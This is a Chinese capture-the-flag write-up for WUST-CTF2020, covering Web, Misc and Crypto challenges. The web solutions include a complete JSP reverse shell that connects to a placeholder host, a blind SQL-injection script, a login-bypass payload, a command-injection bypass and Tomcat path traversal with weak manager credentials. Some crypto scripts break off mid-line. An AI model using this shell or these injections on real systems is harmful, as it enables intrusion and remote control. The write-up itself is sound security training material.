CTF Web安全

WUST-CTF2020(Web/Misc/Crypto)

Posted on 2020-03-29,9 min read

终于AK了一次WEB~~~~~😃

Web

checkin
要求我们输入作者。修改HTML。

得到一个远古的博客: https://52hertz.tech
在首页得到了wctf2020{can_y0u_can_a_can_a貌似不太完整的样子。。继续找找
在最后面有一篇名为远古的Blog得到另一半flag5_a_c@nner_can_Can_@_can}

admin
看到登陆框。万能密码试下' or 1=1#

跳转到了adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php
要求本地访问->get ais=520->post wust=1314

得到https://www.52hertz.tech/
解码得到Flag

CV Maker
这题比完赛后。貌似崩了。说一下思路挺简单的
注册账号。修改头像的地方。上传php。然后访问执行/readflag就行

朴实无华
访问robots.txt得到fAke_f1agggg.php
在head中发现fl4g.php
得到源码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

第一层:
if(intval($num) < 2020 && intval($num + 1) > 2021)
20.20e8即可。intval会识别为20
而+1会将20.20e8变成普通的数字然后再+1
第二层:
$md5==md5($md5)
符合条件的值在第一次MD5加密后。得是0e数字数字数字。然后将结果再次md5解密。还得是0e数字数字
无脑for循环一直跑
这里给出一个值00e13060139
第三层:
不能cat。不能空格。随便绕。

easyweb
tomcat最近的幽灵猫漏洞
可以文件包含和文件读取
网上找了好久。都是文件读取。没RCE的脚本。。
https://blog.csdn.net/sun1318578251/article/details/104433346/这里的脚本
首先准备一个jpg。里面是jsp反弹shell的代码

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector extends Thread
  {
    InputStream pp;
    OutputStream qk;

    StreamConnector( InputStream pp, OutputStream qk )
    {
      this.pp = pp;
      this.qk = qk;
    }

    public void run()
    {
      BufferedReader qe  = null;
      BufferedWriter ihb = null;
      try
      {
        qe  = new BufferedReader( new InputStreamReader( this.pp ) );
        ihb = new BufferedWriter( new OutputStreamWriter( this.qk ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = qe.read( buffer, 0, buffer.length ) ) > 0 )
        {
          ihb.write( buffer, 0, length );
          ihb.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( qe != null )
          qe.close();
        if( ihb != null )
          ihb.close();
      } catch( Exception e ){}
    }
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "IP", 6666 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
%>

上传后得到文件名

环境有问题。。执行完一次就会连接重置。再也连不上。。这里就不演示了。

颜值成绩查询
感觉是sql注入

fuzz一下发现。不能带and union这些常见字符。select都可以

import requests
url='http://101.200.53.102:10114/?stunum=100||'
for a in range(1,100):
    for b in range(30,130):
        payload='(ascii(substr((select/**/group_concat(flag,0x7e,value)/**/from/**/flag),'+str(a)+',1))='+str(b)+')'
        r=requests.get(url+payload).text
        if 'Hi admin, your score is: 100' in r:
            print(chr(b))
            break

后来有师傅说。这题将union置空。并不是正则匹配。
可以直接union双写绕过

train yourself to be godly
肝了好久。终于在最后10分钟成功拿到1血
首先用了2018年的一个破坏解析器逻辑-取消路径规范化漏洞
具体文档https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
可以通过..;/访问到webapps目录

tomcat/tomcat弱口令进入manager
注意。这里拦截返回包。将path修改为/..;/。由于我们是通过目录穿越访问的。所有操作都是在/..;/
这里有三个注意点。得修改请求路径。它默认会加上example
第二。得加上HTTP认证头。不然会401
第三。加上session。

成功上传

拿flag

Crypto

大数运算
直接在python下运行。python自带高精度。。

babyrsa

import gmpy2
import math
n=int(73069886771625642807435783661014062604264768481735145873508846925735521695159)
e=gmpy2.mpz(int(65537))
p=189239861511125143212536989589123569301
q=386123125371923651191219869811293586459
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e, phi_n)
c=28767758880940662779934612526152562406674613203406706867456395986985664083182
print(hex(pow(c,d,n))[2:-1

脚本一套就行

佛说:只能四天
第一层新与佛论禅得到

平等文明自由友善公正自由诚信富强自由自由平等民主平等自由自由友善敬业平等公正平等富强平等自由平等民主和谐公正自由诚信平等和谐公正公正自由法治平等法治法治法治和谐和谐平等自由和谐自由自由和谐公正自由敬业自由文明和谐平等自由文明和谐平等和谐文明自由和谐自由和谐和谐平等和谐法治公正诚信平等公正诚信民主自由和谐公正民主平等平等平等平等自由和谐和谐和谐平等和谐自由诚信平等和谐自由自由友善敬业平等和谐自由友善敬业平等法治自由法治和谐和谐自由友善公正法治敬业公正友善爱国公正民主法治文明自由民主平等公正自由法治平等文明平等友善自由平等和谐自由友善自由平等文明自由民主自由平等平等敬业自由平等平等诚信富强平等友善敬业公正诚信平等公正友善敬业公正平等平等诚信平等公正自由公正诚信平等法治敬业公正诚信平等法治平等公正友善平等公正诚信自由公正友善敬业法治法治公正公正公正平等公正诚信自由公正和谐公正平等

第二层核心价值观编码得到

RLJDQTOVPTQ6O6duws5CD6IB5B52CC57okCaUUC3SO4OSOWG3LynarAVGRZSJRAEYEZ_ooe_doyouknowfence

第三层栅栏密码。将doyouknowfence删掉。然后栅栏

R5UALCUVJDCGD63RQISZTBOSO54JVBORP5SAT2OEQCWY6CGEO53Z67L_doyouknowCaesar_

第四层凯撒密码去掉_doyouknowCaesar_。然后凯撒。base32一个个试

leak

import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes




e = 65537
n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847
dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825
c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869
for i in range(1, 65538):
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) / i) + 1) == 0:
            p = ((dp * e - 1) / i) + 1
            q = n / (((dp * e - 1) / i) + 1)
            phi = (p - 1) * (q - 1)
            d = gmpy2.invert(e, phi) % phi
            m = pow(c, d, n)
            print long_to_bytes(
Misc

Space Club
短的换成0。长的换成1
然后二进制转字符。

Welcome
是个人脸识别的框架。找TFBOYS。识别一下得到Flag


用PDF编辑器。把图片移开。得到FLAG的十六进制

Find me
盲文解密下得到Flag

girlfriend
dtmf读出999*666*88*2*777*33*6*999*4*444*777*555*333*777*444*33*66*3*7777
手机九键得到Flag

下一篇: MRCTF(Web+Misc+Crypto)→